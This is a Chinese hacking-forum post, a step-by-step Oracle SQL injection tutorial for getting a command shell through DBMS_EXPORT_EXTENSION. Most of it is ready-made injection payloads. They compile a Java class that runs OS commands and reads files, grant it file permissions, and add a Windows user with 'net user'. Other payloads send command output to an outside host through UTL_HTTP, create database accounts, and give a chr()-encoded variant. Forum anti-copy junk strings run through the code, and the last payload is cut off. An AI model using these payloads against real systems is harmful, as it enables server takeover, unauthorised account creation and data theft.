找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2205|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/ N; Z6 U9 h: G1 d
6 B% h- F1 I4 j; m' t: q  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) - [" m, e$ h# a9 M+ L
的形式即可。(用" 'a'|| "是为了让语句返回true值) # D, w  a- x! m$ H
语句有点长,可能要用post提交。
3 \" l2 i3 j& B8 R' b* \以下是各个步骤:
& |4 W7 K: |( }2 m- R1.创建包 ) i  I- O+ s& C% t5 P
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
' h0 U4 F. Z% i: C/xxx.jsp?id=1 and '1'<>'a'||( 9 a1 |8 \9 j  s! T/ g
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') t! a" p3 ~# H: c$ N, O  q7 n. ^
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(# I( Q1 O( {& B4 \* k& O
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
( ]# d7 u, D1 R; m}'''';END;'';END;--','SYS',0,'1',0) from dual + T# B( z& @  a$ J  l: ]3 X
)
! [1 Y, k3 Y) b- A6 `: s: k------------------------
9 ]  ]7 U. b* ~" e: m! b, v! D4 ~如果url有长度限制,可以把readFile()函数块去掉,即: 9 h5 l; U4 ?' U2 l9 H
/xxx.jsp?id=1 and '1'<>'a'||(
( O- b) }, }/ q! z* l( oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 e" C2 U1 X  ]" B6 S/ {8 ~
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
# U8 W7 U. \% j* l+ R% O- vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
2 t+ ?8 @  Y. h/ t" d! s}'''';END;'';END;--','SYS',0,'1',0) from dual
' j* x2 L7 @3 r/ O0 m' P% o) : R) Q7 N; s$ H3 ~  z) p
同时把后面步骤 提到的 对readFile()的处理语句去掉。 - B+ x: E4 K0 N" [4 T* W; V/ F" W' B
------------------------------
4 K1 }/ Q8 O6 w2.赋Java权限 0 ?$ k5 Y% g' x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
+ \" x+ S, |* M9 v! y7 Z/ _/ j3.创建函数
. Y$ F6 s3 E2 y" I8 d3 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 I3 E. r) e2 S  O+ k9 `3 n3 Zcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
+ f; }9 X1 ~7 Q3 a# V0 }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ }3 r: x$ C, V8 f+ n7 ^, v
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
# E: I9 A- R' e+ l4.赋public执行函数的权限
' S9 b, z$ l* h5 U( Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual% Z4 n; r; J" L4 `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
3 F  f) l) d$ v( \  q4 i7 f4 N5.测试上面的几步是否成功
! k# o6 q" r5 n& f& _: s4 o) ~; mand '1'<>'11'||(
/ V6 z1 o2 ]+ @; g3 ]6 jselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
/ A8 I5 R4 x' D- |% I- p) , N  Z6 u3 ?; v6 ]) ~/ H
and '1'<>( ! D) |! S/ y( O  M- [2 H) `
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' . u/ c$ S9 ]0 s$ w
)
' N  g8 G2 E5 {% O' n3 @6.执行命令: ! x) V& f! \7 o" y
/xxx.jsp?id=1 and '1'<>( ; @0 k( K) |' {
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
8 z, @& o+ m: A
' R0 i4 _8 u3 z9 O) 4 W" M7 ]! R+ {3 L; r/ S/ s
/xxx.jsp?id=1 and '1'<>(
3 O2 ]% _* J# _$ ?0 x3 p1 Mselect  sys.LinxReadFile('c:/boot.ini') from dual
8 J) _% ^$ Z8 O' A2 ^
1 j# [" R" ]) s0 D)2 n" i" b9 R! a- c3 R3 d; P1 y+ T
  
7 n$ C* m8 u% v7 i注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 3 G, A( E8 d  x: Q) |$ }
如果要查看运行结果可以用 union : ; |  v. K- i+ ?) R9 r& w3 p
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
6 {& L8 l1 r- ?' D% {& z! G或者UTL_HTTP.request(:
) [+ h( C' Q3 \7 M( V9 ~  o9 m; N" Q9 s3 t/xxx.jsp?id=1 and '1'<>(
; H$ r# V' A9 S% D& J: M/ ~SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
9 w0 O8 b2 h9 b! Q- u)
) i7 Z' g, C1 k/xxx.jsp?id=1 and '1'<>( * Y& V& s9 q. @5 s4 t/ h# t& D
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual9 f2 i  m/ C+ g' j( U& z& U  E
)
1 `, G  Y" ^! t8 w9 U注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
; w9 O9 T$ ^  T# j/ I0 i8 u--------------------
# w1 R) O. |4 T+ u. u8 k6.内部变化 / j1 @( M2 C* m2 B
通过以下命令可以查看all_objects表达改变: 3 p1 d; d6 s/ S" a, |
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
6 K) M7 f' d3 A5 D7.删除我们创建的函数 0 w) |5 I& U& _9 s. r
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ O! B' E/ f6 b; U6 w4 r; M- a
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual + w9 q4 x. \6 L# U8 E
==================================================== + w+ F- e! {& ?, G( M
全文结束。谨以此文赠与我的朋友。 + _- [: {- |8 X4 {
linx 0 l! A  A5 e5 b5 i; F
124829445
7 e) l! I" x$ f3 \& D  x) h2008.1.12 ( S5 `+ P6 `4 _8 d: ]
linyujian@bjfu.edu.cn
/ f; S; X4 n* `0 D2 R# A0 J: c% Y7 ?======================================================================
7 a( [/ n( l# e* ^$ a1 Y+ I测试漏洞的另一方法: ( t9 x2 o  Q. Y+ o+ p2 Y( h
创建oracle帐号: + @: E; D; U6 {) S+ p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; a  Y8 u# P2 GCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
1 M* F1 ?% r" q7 i/ T0 E, y! D1 q即:
0 I8 A/ \9 ~9 P7 Z$ i2 i% kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),8 X/ g4 c  G9 N
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 0 U& _1 `2 ]1 ~- ~! X7 S. R
确定漏洞存在: . w% b( S% h3 _. r1 y
1<>( / ~$ p& M' J$ _. W! K
select user_id from all_users where username='LINXSQL'
; j3 a* l( H& S) h5 q3 U) + t7 _) x; {) S( x6 s# z6 F
给linxsql连接权限:
% D( P9 g$ W/ N  Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 \9 r0 Z& F$ E* q" Q
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual ! Y! b* W4 Y5 M* b+ _; J: T
删除帐号:
, g, B. V( f, R2 s( \0 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 }+ }4 k4 z5 hdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual # _$ Z6 F7 b; h! \1 r& D& h
====================== 1 F+ `; S( J5 I8 r; u  L0 T
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:* E" f0 C! ^) G+ P
1.jsp?id=1 and '1'<>(
* y0 R& w- l. U5 Z* \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 R9 h0 a8 y( A$ [. N
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual) X2 B7 ^( \$ @! y. y" q5 G" G, }4 L
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE  X& T- z: W7 V5 H2 o( s
 )! m0 r" p4 ]0 o7 O, y1 y1 ]

) ^8 M/ O9 w6 t; G# M5 f/ U# N9 x" x" ^  ]- T# R7 W9 X- q
6 u0 x7 L5 X. ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表